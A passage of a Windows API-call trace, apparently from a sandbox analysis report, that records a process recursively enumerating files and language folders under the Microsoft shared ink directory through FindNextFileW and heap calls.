ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0054.829] FindClose (in: hFindFile=0x4260700 | out: hFindFile=0x4260700) returned 1 [0054.829] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3f88 | out: hHeap=0x6a0000) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main", cAlternateFileName="")) returned 1 [0054.829] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42e3f88 [0054.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main") returned 69 [0054.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0055.303] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.303] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd05, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0056.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3f88 | out: hHeap=0x6a0000) returned 1 [0056.345] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0056.345] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3f88 | out: hHeap=0x6a0000) returned 1 [0056.345] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0056.345] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3f88 | out: hHeap=0x6a0000) returned 1 [0056.345] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0056.345] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3f88 | out: hHeap=0x6a0000) returned 1 [0056.345] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0056.345] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3f88 | out: hHeap=0x6a0000) returned 1 [0056.345] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0056.345] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3f88 | out: hHeap=0x6a0000) returned 1 [0056.345] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0056.346] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e3f88 | out: hHeap=0x6a0000) returned 1 [0056.346] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0056.346] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.346] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0056.346] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0056.346] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0056.346] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0056.346] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0056.346] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0056.346] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0056.346] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0056.346] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0056.347] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0056.348] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0056.348] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0056.348] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0056.348] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0056.348] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0056.360] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0056.360] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0056.360] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0056.360] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0056.361] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435bfb0 | out: hHeap=0x6a0000) returned 1 [0056.361] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0056.361] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.361] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0056.361] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.361] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0056.361] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.361] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0056.362] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.362] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0056.362] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.362] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0056.362] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.362] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0056.362] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.362] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0056.362] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.362] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0056.362] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.362] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0056.362] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.363] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0056.363] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.363] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0056.363] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.363] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0056.363] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0056.363] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, 